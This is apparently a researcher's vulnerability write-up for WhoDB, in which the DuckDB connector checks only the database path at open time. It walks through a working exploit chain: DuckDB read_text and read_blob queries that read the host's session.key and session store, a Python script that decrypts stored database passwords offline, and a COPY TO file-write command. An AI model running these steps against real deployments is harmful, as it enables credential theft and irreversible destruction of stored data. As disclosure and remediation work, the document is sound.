WhoDB: arbitrary file read and write through DuckDB

CVE-2026-112005, GHSA-x3h5-pr45-fx4r

CRITICAL 9.4CVE-2026-112005CWE-22, CWE-522GitHub advisory
Affected: github.com/clidey/whodb/core >= 0.104.0Fixed in 0.135.0

WhoDB is a database explorer you point at a data source and browse in the browser.
In server mode it offers file-backed sources, SQLite and DuckDB, and confines them to one directory on the host: /db.
That confinement is the whole security boundary for those two source types, because a file-backed source needs no credential to open.

For SQLite the boundary is enforced twice.
For DuckDB it was enforced once, at open time, and once was not enough.

The result was unauthenticated arbitrary file read and write on the WhoDB host, which I used to steal the AES key and the encrypted session store sitting next to each other on disk, and decrypt every logged-in user's database password offline.

The confinement, and what it actually checks

core/src/plugins/duckdb/db.go resolves the requested database inside the default directory, follows symlinks, and checks the prefix:

if !strings.HasPrefix(fileNameDatabase, getDefaultDirectory()) {

That check is correct.
It is also a check on one path at one moment: the database file, at the instant the connection is opened.
It says nothing about what the open session may address afterwards.

DuckDB, once connected, is a SQL engine with a filesystem in it.
read_text, read_blob and COPY ... TO run in-process, as the WhoDB user, against any path the process can reach.

How I found it

I did not start from the DuckDB connector.
I started from a patch.

WhoDB had already published GHSA-q79w-r6rg-4w2j, whose root cause reads:

SQLite database path validation runs only when the primary connection is opened.

The remediation for that one, commit 7d64b4b6 ("fix for sqlite auth bypass"), registers a per-connection authorizer that denies ATTACH and DETACH for the life of the session:

func confinedSQLiteDriver(readOnly bool) *sqlitedriver.SQLiteDriver {
    return &sqlitedriver.SQLiteDriver{
        ConnectHook: func(conn *sqlitedriver.SQLiteConn) error {
            conn.RegisterAuthorizer(func(operation int, argument1, _ string, _ string) int {
                if operation == sqlitedriver.SQLITE_ATTACH || operation == sqlitedriver.SQLITE_DETACH {
                    return sqlitedriver.SQLITE_DENY
                }

So the project already understood the class of bug.
The interesting question was whether the fix had been applied to the sibling connector, or only to the one that got reported.

Grepping core/src/plugins/duckdb/ for enable_external_access, disabled_filesystems, lock_configuration or any authorizer returned nothing outside a test file.

That is the entire finding.
A patch landed on one connector, the other was left as it was, and nobody re-ran the original question against it.

The path to the sink

Four hops from HTTP request to filesystem, none of them exotic:

  1. core/graph/schema.resolvers.go - RunSourceQuery(ctx, query string) takes the raw SQL string from the request. This is the query editor, and running caller-authored SQL is its entire purpose.
  2. core/src/source/adapters/database_connector.go - RunQuery builds the plugin config with s.pluginConfig(ctx, nil), which leaves ReadOnly false, then calls RawExecute.
  3. core/src/plugins/duckdb/duckdb.go - RawExecute consults config.ReadOnly. False, so it goes straight to ExecuteRawSQL. No statement classification, no read-only transaction, no restriction on DuckDB's filesystem functions.
  4. DuckDB executes read_text, read_blob and COPY ... TO as the WhoDB user.

ReadOnly is only ever set inside plugins.ReadOnlyConfig, reached from RunReadOnlyQuery, which is not on this path.
No environment variable changes it.

The write primitive was already documented in a comment right there in the DuckDB connector:

// executeReadOnly uses SQL because duckdb-go rejects sql.TxOptions.ReadOnly.
// A sql.Conn pins BEGIN, query and ROLLBACK to the same physical connection.
// The caller must apply ReadOnlyConfig: transaction mode alone permits COPY TO.

COPY TO is a file write, and it is gated only by a flag that the query editor never sets.

Why no credential is needed

WhoDB CE has no user accounts, so there is no authentication to bypass.
Reachability is the only gate, and the server binds every interface by default.

core/src/auth/graphql_authorization.go puts LoginSource in the public mutation allow-list, and a DuckDB login carries no secret at all.
The only field in the catalog is the database name:

Fields: {Database: true}

The filename is public too.
core/src/sourcecatalog/catalog.go marks the database field optionable for file transports so the login page can offer a picker, and the DuckDB connector answers it with every entry of /db, unfiltered.
An anonymous caller is handed the list of valid filenames, then handed a session for one of them with no credential.

The escape does not depend on that listing, so a guessed filename works just as well.
It only removes the guessing.

Why the key read is the serious part

core/src/auth/session_key.go generates a 32-byte key from crypto/rand and writes it to <datadir>/session.key, mode 0600, in the same directory as the whodb.db it protects.
The code warns about this itself.
core/src/crypto/encrypt.go then uses it as AES-256-GCM.

One file read gets the ciphertext.
A second gets the key.

Encryption at rest with the key stored next to the ciphertext is not encryption at rest.
It is encryption against someone who can read exactly one file.

The chain

Verified against clidey/whodb:latest on 2026-10-10, in a browser, with no credential.
The step that matters is step 3, the control.

1. A victim logs into a Postgres source with a real password and leaves the window open.
WhoDB stores their connection details, encrypted, in the session store.
This is the only step that uses a credential.

2. In a private window, the attacker picks source type DuckDB.
The database field already offers analytics.duckdb.
Select it, log in, no password requested.

3. Confirm the confinement works.
Log out, choose DuckDB again, and type ../data/session.key into the database field instead of selecting from the list.

  • Expected: refused.
  • Actual: refused, unauthorized or the database doesn't exist.

The path check does its job on the database file.
Without this step the rest looks like a feature rather than a bug.

4. Log back in with analytics.duckdb, and ask the open session for that same file:

SELECT content FROM read_text('/data/session.key');
  • Expected: refused, as in step 3, because the session is confined to /db.
  • Actual: 64 hex characters. The AES-256 key.

5. Take the store the key protects:

SELECT hex(content) FROM read_blob('/data/whodb.db');
SELECT hex(content) FROM read_blob('/data/whodb.db-wal');

The WAL matters.
Logout deletes the session row, but WAL files do not shrink when rows are deleted.

6. Decrypt offline.
Twelve bytes of nonce, the rest ciphertext, AES-256-GCM:

import binascii, sqlite3, json
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

key = bytes.fromhex(open("key.txt").read().strip())
open("store.db", "wb").write(binascii.unhexlify(open("db.hex").read().strip()))

for _, blob in sqlite3.connect("store.db").execute(
        "SELECT session_hash, encrypted_credentials FROM sessions"):
    try:
        plain = AESGCM(key).decrypt(blob[:12], blob[12:], None)
    except Exception:
        continue
    print(json.dumps(json.loads(plain), indent=2))
  • Expected: nothing readable. The store is encrypted at rest.
  • Actual: every live session in cleartext.
{
  "version": 1,
  "credentials": {
    "SourceType": "Postgres",
    "Values": {
      "Database": "production",
      "Hostname": "demo-pg",
      "Password": "S3cret-Victim-Pw",
      "Port": "5432",
      "Username": "postgres"
    }
  }
}

7. The same primitive writes:

COPY (SELECT 'replaced' AS proof) TO '/data/poc-write.txt' (FORMAT CSV);

Aimed at session.key or whodb.db, that statement destroys every stored credential irrecoverably.
I confirmed that separately and deliberately left it out of the report's reproduction steps.

Impact

Unauthenticated arbitrary file read and write on the WhoDB host, reached through a data source any anonymous caller can open.

The file access is bad.
The credentials are worse, and for a reason that has nothing to do with WhoDB: they are for independently managed databases.
They keep working after WhoDB is patched, until each one is rotated by hand, and no log tells an operator whether rotation is needed.

Impacted deployments are server mode with a genuine DuckDB file in the confined directory.
Not desktop or CLI mode, which have no confinement to escape in the first place.
Not deployments with WHODB_DISABLE_CREDENTIAL_FORM=true, where the anonymous login is refused.

The fix

Fixed upstream in 0.135.0.

The remediation I suggested was to stop trying to police SQL and let DuckDB enforce it, because connection-time settings cannot be worded around the way a statement denylist can:

for _, stmt := range []string{
    "SET enable_external_access = false",
    "SET autoinstall_known_extensions = false",
    "SET autoload_known_extensions = false",
    "SET lock_configuration = true",
} {
    if err := db.Exec(stmt).Error; err != nil {
        return nil, err
    }
}

enable_external_access = false disables read_text, read_blob, read_csv, COPY ... TO, ATTACH of other files and remote access in one setting.
lock_configuration = true stops later SQL turning it back on.

These have to be applied before any user SQL reaches the connection, so a per-physical-connection hook is safer than one Exec per *gorm.DB, which is what the SQLite fix already does with ConnectHook.

And session.key should not sit next to the ciphertext it protects.

What I took from it

A path check is a check on one path at one moment.
HasPrefix on the database filename was never wrong, it was just answering a narrower question than the code around it assumed.
Confinement has to live as long as the session does, because the session is what the attacker gets to use.

When you patch one connector, grep the siblings.
The SQLite fix was the right fix. It was applied to the connector in the report and not to the one next to it, and the root-cause sentence from that advisory described the DuckDB code verbatim for another eleven minor versions.
Remediating a report is not the same as remediating a class.

The control step is the finding.
Step 3 is what turns "DuckDB can read files" into "a documented boundary does not hold". Without it, a maintainer can reasonably read the report as a description of how DuckDB works. Showing the same path refused at login and allowed in the editor leaves nothing to argue about.